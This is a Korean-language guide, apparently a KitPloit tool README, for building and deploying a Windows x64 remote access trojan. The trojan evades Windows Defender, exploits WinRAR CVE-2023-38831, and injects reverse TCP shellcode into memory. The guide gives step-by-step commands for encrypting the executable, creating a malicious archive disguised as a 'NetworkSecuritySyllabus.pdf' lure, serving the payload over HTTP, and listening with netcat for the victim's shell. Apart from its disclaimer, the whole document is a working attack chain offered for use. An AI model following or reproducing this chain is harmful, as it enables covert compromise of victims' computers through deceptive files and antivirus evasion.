Windows x64 원격 접근 트로이 목마 (RAT)

목표

CVE-2023-38831(WinRAR < 6.23)과 쉘코드 악용을 사용하여 Windows Defender를 우회하는 Windows x64 RAT를 개발합니다.

시스템 설명

1. 쉘코드 초기화
   • Windows/x64 - PIC Null-Free TCP Reverse Shell 쉘코드를 사용하여 쉘코드를 생성합니다.
2. main.cpp 설명
   • 메모리에 쉘코드를 주입 및 실행하여 역방향 TCP 연결을 설정합니다.
3. main.cpp 컴파일 및 암호화
   • C++ 파일을 실행 파일로 컴파일하고 암호화합니다.
4. WinRAR CVE-2023-38831 악용
   • 취약점을 사용하여 암호화된 RAT를 다운로드, 복호화 및 실행합니다.
5. 스크립트 복호화 및 실행 (decrypt_file.ps1)
   • 다운로드된 실행 파일을 복호화하고 실행합니다.
6. 실행
   • 조작된 PDF/이미지를 열어 역방향 셸 연결을 트리거합니다.

악용 가이드

경고: 이 정보는 교육 목적으로만 제공됩니다. 이 기술을 무단으로 사용하는 것은 불법이며 비윤리적입니다.

단계별 지침

1. 쉘코드 제작

   • 51721.py를 사용하여 초기 쉘코드를 생성합니다.

2. 쉘코드 수정 및 컴파일

   • 쉘코드에 필요한 수정을 가합니다.
   • 수정된 코드를 컴파일합니다.

3. 실행 파일 암호화

   • decrypt_file.ps1을 사용하여 컴파일된 실행 파일을 암호화합니다:
     root@kitploit:~

     .\decrypt_file.ps1 -inputFile .\main.exe -outputFile .\enc_main.exe
     

4. WinRAR 아카이브 생성

   • cve-2023-38831-exp-gen.py를 사용하여 아카이브를 생성합니다:
     root@kitploit:~

     python cve-2023-38831-exp-gen.py NetworkSecuritySyllabus.pdf script.bat NetworkSecuritySyllabus.rar
     

5. 파일 다운로드를 위한 Python 서버 설정

   • enc_main.exe와 decrypt_file.ps1이 있는 디렉터리로 이동합니다.
   • Python HTTP 서버를 시작합니다:
     root@kitploit:~

     python3 -m http.server 8000
     

6. 역방향 TCP 셸 수신 대기 준비

   • Netcat을 열어 들어오는 TCP 연결을 수신 대기합니다:
     root@kitploit:~

     nc -lnvp 4444
     

7. 역방향 TCP 셸 트리거

   • 피해자가 PDF 파일을 열면 역방향 TCP 연결이 트리거되어 해당 머신에 접근할 수 있습니다.

면책 조항

이 정보는 교육 목적으로만 제공됩니다. 명시적 허가 없이 이 취약점을 사용하는 것은 불법이며 비윤리적입니다. 저자는 이 정보의 오용에 대해 어떠한 책임도 지지 않습니다.